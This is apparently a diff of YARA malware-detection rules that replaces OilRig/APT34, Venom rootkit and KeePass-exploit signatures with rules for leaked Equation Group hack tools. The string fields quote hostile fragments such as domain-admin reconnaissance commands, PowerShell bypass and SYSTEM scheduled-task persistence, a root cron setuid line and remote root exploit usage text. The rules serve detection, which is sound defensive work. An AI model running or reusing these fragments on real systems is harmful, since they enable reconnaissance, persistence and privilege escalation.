-		$x3 = "mailto:Mohammed.sarah@gratner.com" fullword wide
-		$x4 = "mailto:Tarik.Imam@gartner.com" fullword wide
-		$x5 = "Call Extract(DnsPs1, wss.ExpandEnvironmentStrings(\"%PUBLIC%\") & \"\\Libraries\\dns.ps1\")" fullword ascii
-		$x6 = "2dy53My5vcmcvMjAw" fullword wide
+		$x1 = "Firing with the same hosts, on altername ports (target is on 8080, listener on 443)" fullword ascii
+		$x2 = "Recieved Unknown Command Payload: 0x%x" fullword ascii
+		$x3 = "Usage: eslide   [options] <-t profile> <-l listenerip> <targetip>" fullword ascii
+		$x4 = "-------- Delete Key - Remove a *closed* tab" fullword ascii
 
 	condition:
-		( uint16(0)==0xcfd0 and filesize <200KB and 1 of them )
+		( uint16(0)==0x457f and filesize <2000KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Oilrig_Campaign_Reconnaissance : FILE
+rule SIGNATURE_BASE_Equationgroup_Libxmexploit2 : FILE
 {
 	meta:
-		description = "Detects Windows discovery commands - known from OilRig Campaign"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file libXmexploit2.8"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a4fe24b8-290a-5a4a-9f81-bbbd9aae6c6e"
-		date = "2016-10-12"
+		id = "30e94123-acc9-5185-9f5b-1f956c4cf3d1"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/QMRZ8K"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_oilrig.yar#L151-L166"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "04c9f482c0c4abc1bf316459dc3085154defadb0fd5fe74ff274d8b3ee807b7f"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L328-L343"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7bd88d15cca38e91c65e8373194e35ab9492a80eb27b22ad4000e192f2d9b886"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5893eae26df8e15c1e0fa763bf88a1ae79484cdb488ba2fc382700ff2cfab80c"
+		hash1 = "d7ed0234d074266cb37dd6a6a60119adb7d75cc6cc3b38654c8951b643944796"
 
 	strings:
-		$s1 = "whoami & hostname & ipconfig /all" ascii
-		$s2 = "net user /domain 2>&1 & net group /domain 2>&1" ascii
-		$s3 = "net group \"domain admins\" /domain 2>&1 & " ascii
+		$s1 = "Usage: ./exp command display_to_return_to" fullword ascii
+		$s2 = "sizeof shellcode = %d" fullword ascii
+		$s3 = "Execve failed!" fullword ascii
 
 	condition:
-		( filesize <1KB and 1 of them )
+		( uint16(0)==0x457f and filesize <40KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Oilrig_Malware_Campaign_Mal3 : FILE
+rule SIGNATURE_BASE_Equationgroup_Wrap_Telnet : FILE
 {
 	meta:
-		description = "Detects malware from OilRig Campaign"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file wrap-telnet.sh"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e5967b39-5d21-5a6a-a1b5-2ec122f16444"
-		date = "2016-10-12"
+		id = "158e6ebc-6b43-5e94-9052-31408d848875"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/QMRZ8K"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_oilrig.yar#L168-L183"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "62a6f6c4e574a3c577f0b1fdd85eaa3e775a7ae0e457c59a6b6f741ad895e510"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L345-L360"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "aa7fda8b95b697bb0541642677579f9db9df379048421481cdb66068032bf681"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "02226181f27dbf59af5377e39cf583db15200100eea712fcb6f55c0a2245a378"
+		hash1 = "4962b307a42ba18e987d82aa61eba15491898978d0e2f0e4beb02371bf0fd5b4"
 
 	strings:
-		$x1 = "(Get-Content $env:Public\\Libraries\\dns.ps1) -replace ('#'+'##'),$botid | Set-Content $env:Public\\Libraries\\dns.ps1" fullword ascii
-		$x2 = "Invoke-Expression ($global:myhome+'tp\\'+$global:filename+'.bat > '+$global:myhome+'tp\\'+$global:filename+'.txt')" fullword ascii
-		$x3 = "('00000000'+(convertTo-Base36(Get-Random -Maximum 46655)))" fullword ascii
+		$s1 = "echo \"example: ${0} -l 192.168.1.1 -p 22222 -s 22223 -x 9999\"" fullword ascii
+		$s2 = "-x [ port to start mini X server on DEFAULT = 12121 ]\"" fullword ascii
+		$s3 = "echo \"Call back port2 = ${SPORT}\"" fullword ascii
 
 	condition:
-		( filesize <10KB and 1 of them )
+		( uint16(0)==0x2123 and filesize <4KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Oilrig_Malware_Nov17_13 : FILE
+rule SIGNATURE_BASE_Equationgroup_Elgingamble
 {
 	meta:
-		description = ""
+		description = "Equation Group hack tool leaked by ShadowBrokers- file elgingamble"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c45b8d30-6a5f-5dac-a202-6748ba7b7bd2"
-		date = "2017-11-22"
+		id = "fc8a63a1-9deb-5051-a02d-ed26fd1cae95"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/ClearskySec/status/933280188733018113"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_oilrig.yar#L185-L206"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "eab15229f084681b27cec7ed959ef4cd1193a0b38aaed4341dcd6761e2505804"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L362-L378"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e561794d969b6198f71115087db8cc89043f2079252eef22458450e16596b0eb"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4f1e2df85c538875a7da877719555e21c33a558ac121eb715cf4e779d77ab445"
+		hash1 = "0573e12632e6c1925358f4bfecf8c263dd13edf52c633c9109fe3aae059b49dd"
 
 	strings:
-		$x1 = "\\Release\\dnscat2.pdb" ascii
-		$x2 = "cscript.exe //T:20 //Nologo " fullword ascii
-		$a1 = "taskkill /F /IM cscript.exe" fullword ascii
-		$a2 = "cmd.exe /c " fullword ascii
+		$x1 = "* * * * * root chown root %s; chmod 4755 %s; %s" fullword ascii
+		$x2 = "[-] kernel not vulnerable" fullword ascii
+		$x3 = "[-] failed to spawn shell: %s" fullword ascii
+		$x4 = "-s shell           Use shell instead of %s" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and (pe.imphash()=="0160250adfc97f9d4a12dd067323ec61" or 1 of ($x*) or all of ($a*))
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Oilrig_Intelsecuritymanager_Macro : FILE
+rule SIGNATURE_BASE_Equationgroup_Cmsd : FILE
 {
 	meta:
-		description = "Detects OilRig malware"
-		author = "Eyal Sela (slightly modified by Florian Roth)"
-		id = "4cccc0df-a225-5500-be55-f4ae346e066e"
-		date = "2018-01-19"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file cmsd"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9cdd3562-fed4-5b79-b056-049279404eeb"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_oilrig.yar#L208-L233"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "35e540b87bb7425b601fad76f0ff33c60a4d91579fc50f5902d708d06fa755f6"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L380-L397"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2b9c7ef750c2e45df7839395db51c93204bc9855f5de05bd59c50bb6a964bc8b"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "634c50614e1f5f132f49ae204c4a28f62a32a39a3446084db5b0b49b564034b8"
 
 	strings:
-		$one1 = "$c$m$$d$.$$" ascii wide
-		$one2 = "$C$$e$r$$t$u$$t$i$$l$" ascii wide
-		$one3 = "$$%$a$$p$p$$d$a$" ascii wide
-		$one4 = ".$t$$x$t$$" ascii wide
-		$one5 = "cu = Replace(cu, \"$\", \"\")" ascii wide
-		$one6 = "Shell Environ$(\"COMSPEC\") & \" /c"
-		$one7 = "echo \" & Chr(32) & cmd & Chr(32) & \" > \" & Chr(34)" ascii wide
-		$two1 = "& SchTasks /Delete /F /TN " ascii wide
-		$two2 = "SecurityAssist" ascii wide
-		$two3 = "vbs = \"cmd.exe /c SchTasks" ascii wide
-		$two4 = "/Delete /F /TN Conhost & del" ascii wide
-		$two5 = "NullRefrencedException" ascii wide
-		$two6 = "error has occurred in user32.dll by" ascii wide
-		$two7 = "NullRefrencedException" ascii wide
+		$x1 = "usage: %s address [-t][-s|-c command] [-p port] [-v 5|6|7]" fullword ascii
+		$x2 = "error: not vulnerable" fullword ascii
+		$s1 = "port=%d connected! " fullword ascii
+		$s2 = "xxx.XXXXXX" fullword ascii
 
 	condition:
-		filesize <300KB and 1 of ($one*) or 2 of ($two*)
+		( uint16(0)==0x457f and filesize <30KB and 1 of ($x*)) or (2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Oilrig_Intelsecuritymanager : FILE
+rule SIGNATURE_BASE_Equationgroup_Ebbshave : FILE
 {
 	meta:
-		description = "Detects OilRig malware"
-		author = "Eyal Sela"
-		id = "4cccc0df-a225-5500-be55-f4ae346e066e"
-		date = "2018-01-19"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file ebbshave.v5"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6d4c14e2-afb1-57ce-91df-cb024258250e"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_oilrig.yar#L235-L255"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "97debd5e74730e22133f29c89a0cf049862459c24d1b46634a973908040db3a7"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L399-L415"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8a1a5ddefc646dc55161eb9b2a1b0e4176df7e99660db48b245af3ef9ab0871c"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "eb5e0053299e087c87c2d5c6f90531cc1946019c85a43a2998c7b66a6f19ca4b"
 
 	strings:
-		$one1 = "srvResesponded" ascii wide fullword
-		$one2 = "InetlSecurityAssistManager" ascii wide fullword
-		$one3 = "srvCheckresponded" ascii wide fullword
-		$one4 = "IntelSecurityManager" ascii wide
-		$one5 = "msoffice365cdn.com" ascii wide
-		$one6 = "\\tmpCa.vbs" ascii wide
-		$one7 = "AAZFinish" ascii wide fullword
-		$one8 = "AAZUploaded" ascii wide fullword
-		$one9 = "ABZFinish" ascii wide fullword
-		$one10 = "\\tmpCa.vbs" ascii wide
+		$s1 = "executing ./ebbnew_linux -r %s -v %s -A %s %s -t %s -p %s" fullword ascii
+		$s2 = "./ebbnew_linux.wrapper -o 2 -v 2 -t 192.168.10.4 -p 32772" fullword ascii
+		$s3 = "version 1 - Start with option #18 first, if it fails then try this option" fullword ascii
+		$s4 = "%s is a wrapper program for ebbnew_linux exploit for Sparc Solaris RPC services" fullword ascii
 
 	condition:
-		filesize <300KB and any of them
+		( uint16(0)==0x457f and filesize <20KB and 1 of them ) or (2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_APT34_PS_Malware_Apr19_1
+rule SIGNATURE_BASE_Equationgroup_Eggbasket : FILE
 {
 	meta:
-		description = "Detects APT34 PowerShell malware"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file eggbasket"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6a082c5a-ee5b-5002-9148-61bbcfedfe68"
-		date = "2019-04-17"
+		id = "3fb1388a-e6b8-5c7a-ad23-ddbfc9d33d56"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/0xffff0800/status/1118406371165126656"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_oilrig.yar#L267-L283"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "afe203fdfcc9dcafb170bee972d45e66e5483a777112a00fa30516dfe81bbf88"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L417-L432"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e4800d5c820a18d3483dc5c055c0e2f5374ce3b160ecb4d940a00ec4a90ca50d"
 		score = 75
 		quality = 85
-		tags = ""
-		hash1 = "b1d621091740e62c84fc8c62bcdad07873c8b61b83faba36097ef150fd6ec768"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "b078a02963610475217682e6e1d6ae0b30935273ed98743e47cc2553fbfd068f"
 
 	strings:
-		$x1 = "= get-wmiobject Win32_ComputerSystemProduct  | Select-Object -ExpandProperty UUID" ascii
-		$x2 = "Write-Host \"excepton occured!\"" ascii
-		$s1 = "Start-Sleep -s 1;" fullword ascii
-		$s2 = "Start-Sleep -m 100;" fullword ascii
+		$x1 = "# Building Shellcode into exploit." fullword ascii
+		$x2 = "%s -w /index.html -v 3.5 -t 10 -c \"/usr/openwin/bin/xterm -d 555.1.2.2:0&\"  -d 10.0.0.1 -p 80" fullword ascii
+		$x3 = "# STARTING EXHAUSTIVE ATTACK AGAINST " fullword ascii
 
 	condition:
-		1 of ($x*) or 2 of them
+		( uint16(0)==0x457f and filesize <90KB and 1 of them ) or (2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_APT34_PS_Malware_Apr19_2
+rule SIGNATURE_BASE_Equationgroup_Jparsescan : FILE
 {
 	meta:
-		description = "Detects APT34 PowerShell malware"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file jparsescan"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c3bdadfd-2164-5e33-be84-d5d5de8eb048"
-		date = "2019-04-17"
+		id = "6b6a884e-0bbc-54f5-bb6c-00e15ca95250"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/0xffff0800/status/1118406371165126656"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_oilrig.yar#L285-L304"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "57c8f02ebfb05f739fc4791a88be4a981ce7b89e2bd283669f85aae1a5c14d02"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L434-L448"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d86b6757abb5ad1902e91f100e6a6bea52e6e14684d184b6b8138270484275f4"
 		score = 75
 		quality = 85
-		tags = ""
-		hash1 = "2943e69e6c34232dee3236ced38d41d378784a317eeaf6b90482014210fcd459"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "8c248eec0af04300f3ba0188fe757850d283de84cf42109638c1c1280c822984"
 
 	strings:
-		$x1 = "= \"http://\" + [System.Net.Dns]::GetHostAddresses(\"" ascii
-		$x2 = "$t = get-wmiobject Win32_ComputerSystemProduct  | Select-Object -ExpandProperty UUID" fullword ascii
-		$x3 = "| Where { $_ -notmatch '^\\s+$' }" ascii
-		$s1 = "= new-object System.Net.WebProxy($u, $true);" fullword ascii
-		$s2 = " -eq \"dom\"){$" ascii
-		$s3 = " -eq \"srv\"){$" ascii
-		$s4 = "+\"<>\" | Set-Content" ascii
+		$s1 = "Usage:  $prog [-f directory] -p prognum [-V ver] [-t proto] -i IPadr" fullword ascii
+		$s2 = "$gotsunos = ($line =~ /program version netid     address             service         owner/ );" fullword ascii
 
 	condition:
-		1 of ($x*) and 3 of them
+		( filesize <40KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_APT34_PS_Malware_Apr19_3
+rule SIGNATURE_BASE_Equationgroup_Sambal : FILE
 {
 	meta:
-		description = "Detects APT34 PowerShell malware"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file sambal"
 		author = "Florian Roth (Nextron Systems)"
-		id = "361582e7-94e3-5608-9ba9-31fa20c37cf0"
-		date = "2019-04-17"
-		modified = "2023-01-06"
-		reference = "https://twitter.com/0xffff0800/status/1118406371165126656"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_oilrig.yar#L306-L326"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "77ba71a59d6026c4b393bc66af586066e11b0c496367a38d847396a23b3dffbe"
+		id = "b02b442c-3e24-55f8-aa5c-926c3a3a75b4"
+		date = "2017-04-08"
+		modified = "2023-12-05"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L450-L467"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6066332b16996a9d8635d3752f46c6529cfc2c94d3d6f0c9791f2068c982bf3e"
 		score = 75
 		quality = 85
-		tags = ""
-		hash1 = "27e03b98ae0f6f2650f378e9292384f1350f95ee4f3ac009e0113a8d9e2e14ed"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2abf4bbe4debd619b99cb944298f43312db0947217437e6b71b9ea6e9a1a4fec"
 
 	strings:
-		$x1 = "Powershell.exe -exec bypass -file ${global:$address1}"
-		$x2 = "schtasks /create /F /ru SYSTEM /sc minute /mo 10 /tn"
-		$x3 = "\"\\UpdateTasks\\UpdateTaskHosts\""
-		$x4 = "wscript /b \\`\"${global:$address1" ascii
-		$x5 = "::FromBase64String([string]${global:$http_ag}))" ascii
-		$x6 = ".run command1, 0, false\" | Out-File " ascii
-		$x7 = "\\UpdateTask.vbs" ascii
-		$x8 = "hUpdater.ps1" fullword ascii
+		$s1 = "+ Bruteforce mode." fullword ascii
+		$s3 = "+ Host is not running samba!" fullword ascii
+		$s4 = "+ connecting back to: [%d.%d.%d.%d:45295]" fullword ascii
+		$s5 = "+ Exploit failed, try -b to bruteforce." fullword ascii
+		$s7 = "Usage: %s [-bBcCdfprsStv] [host]" fullword ascii
 
 	condition:
-		1 of them
+		( uint16(0)==0x457f and filesize <90KB and 1 of them ) or (2 of them )
 }
-rule SIGNATURE_BASE_Base64_PS1_Shellcode
+rule SIGNATURE_BASE_Equationgroup_Pclean_V2_1_1_2 : FILE
 {
 	meta:
-		description = "Detects Base64 encoded PS1 Shellcode"
-		author = "Nick Carr, David Ledbetter"
-		id = "7c3cec3b-a192-5bfd-b4f1-22b1afeb717e"
-		date = "2018-11-14"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file pclean.v2.1.1.0-linux-i386"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1b31af01-8c30-513a-a615-82dcb940e06d"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/ItsReallyNick/status/1062601684566843392"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_ps1_shellcode.yar#L1-L15"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fac6f41965eb2209f1552763800d6a2b172f28cd29bb7586d180654aab1e6d56"
-		score = 65
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L469-L483"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9323ef0c76348d242b010cf0f1c6a1bf5dd120a02418350bb0ed137f468ac624"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "cdb5b1173e6eb32b5ea494c38764b9975ddfe83aa09ba0634c4bafa41d844c97"
 
 	strings:
-		$substring = "AAAAYInlM"
-		$pattern1 = "/OiCAAAAYInlM"
-		$pattern2 = "/OiJAAAAYInlM"
+		$s3 = "** SIGNIFICANTLY IMPROVE PROCESSING TIME" fullword ascii
+		$s6 = "-c cmd_name:     strncmp() search for 1st %d chars of commands that " fullword ascii
 
 	condition:
-		$substring and 1 of ($p*)
+		( uint16(0)==0x457f and filesize <40KB and all of them )
 }
-rule SIGNATURE_BASE_Venom_Rootkit : FILE
+rule SIGNATURE_BASE_Equationgroup_Envisioncollision : FILE
 {
 	meta:
-		description = "Venom Linux Rootkit"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file envisioncollision"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fedc6fa9-7dfb-5e54-a7bf-9a16f96d6886"
-		date = "2017-01-12"
+		id = "8d512d9a-45a5-514a-bee1-a364beeaf560"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://security.web.cern.ch/security/venom.shtml"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_venom_linux_rootkit.yar#L10-L32"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0b2211edc6737e9da3e43bec9ef823e80c6bd6463adbb10d6839e9914aed22ac"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L485-L501"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8cd8c24b212ca71feb6093682fc614c88790c10d7c7d72dac65b047e5791894a"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "75d5ec573afaf8064f5d516ae61fd105012cbeaaaa09c8c193c7b4f9c0646ea1"
 
 	strings:
-		$s1 = "%%VENOM%CTRL%MODE%%" ascii fullword
-		$s2 = "%%VENOM%OK%OK%%" ascii fullword
-		$s3 = "%%VENOM%WIN%WN%%" ascii fullword
-		$s4 = "%%VENOM%AUTHENTICATE%%" ascii fullword
-		$s5 = ". entering interactive shell" ascii fullword
-		$s6 = ". processing ltun request" ascii fullword
-		$s7 = ". processing rtun request" ascii fullword
-		$s8 = ". processing get request" ascii fullword
-		$s9 = ". processing put request" ascii fullword
-		$s10 = "venom by mouzone" ascii fullword
-		$s11 = "justCANTbeSTOPPED" ascii fullword
+		$x1 = "mysql \\$D --host=\\$H --user=\\$U --password=\\\"\\$P\\\" -e \\\"select * from \\$T" fullword ascii
+		$x2 = "Window 3: $0 -Uadmin -Ppassword -i127.0.0.1 -Dipboard -c\\\"sleep 500|nc" fullword ascii
+		$s3 = "$ua->agent(\"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\");" fullword ascii
+		$s4 = "$url = $host . \"/admin/index.php?adsess=\" . $enter . \"&app=core&module=applications&section=hooks&do=install_hook\";" fullword ascii
 
 	condition:
-		filesize <4000KB and 2 of them
+		( uint16(0)==0x2123 and filesize <20KB and 1 of ($x*)) or (2 of them )
 }
-rule SIGNATURE_BASE_EXPL_Keepass_CVE_2023_24055_Jan23 : CVE_2023_24055 FILE
+rule SIGNATURE_BASE_Equationgroup_Cmsex : FILE
 {
 	meta:
-		description = "Detects suspicious entries in the Keepass configuration file, which could be indicator of the exploitation of CVE-2023-24055"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file cmsex"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2c031919-da19-5fd0-b21a-2e83679ad1e3"
-		date = "2023-01-25"
+		id = "9a1051a5-3f31-5fc2-85a0-beb2dea962d6"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://github.com/alt3kx/CVE-2023-24055_PoC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_keepass_cve_2023_24055.yar#L2-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3ca00f317838819bb7fb80c9d00d94db498e1d3ef146b9af2664dae09302a86d"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L503-L520"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "997e08a49c5ae82bcc590e5febd449a4d3e9098f5aa154ccc0824b976f0a6365"
 		score = 75
-		quality = 81
-		tags = "CVE-2023-24055, FILE"
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2d8ae842e7b16172599f061b5b1f223386684a7482e87feeb47a38a3f011b810"
 
 	strings:
-		$a1 = "<TriggerCollection xmlns:xsi=" ascii wide
-		$x1 = "<Parameter>KeePass XML (2.x)</Parameter>"
-		$x2 = "::ReadAllBytes("
-		$x3 = " -Method "
-		$x4 = " bypass "
-		$x5 = "powershell" nocase ascii wide fullword
+		$x1 = "Usage: %s -i <ip_addr/hostname> -c <command> -T <target_type> (-u <port> | -t <port>) " fullword ascii
+		$x2 = "-i target ip address / hostname " fullword ascii
+		$x3 = "Note: Choosing the correct target type is a bit of guesswork." fullword ascii
+		$x4 = "Solaris rpc.cmsd remote root exploit" fullword ascii
+		$x5 = "If one choice fails, you may want to try another." fullword ascii
 
 	condition:
-		filesize <200KB and $a1 and 1 of ($x*)
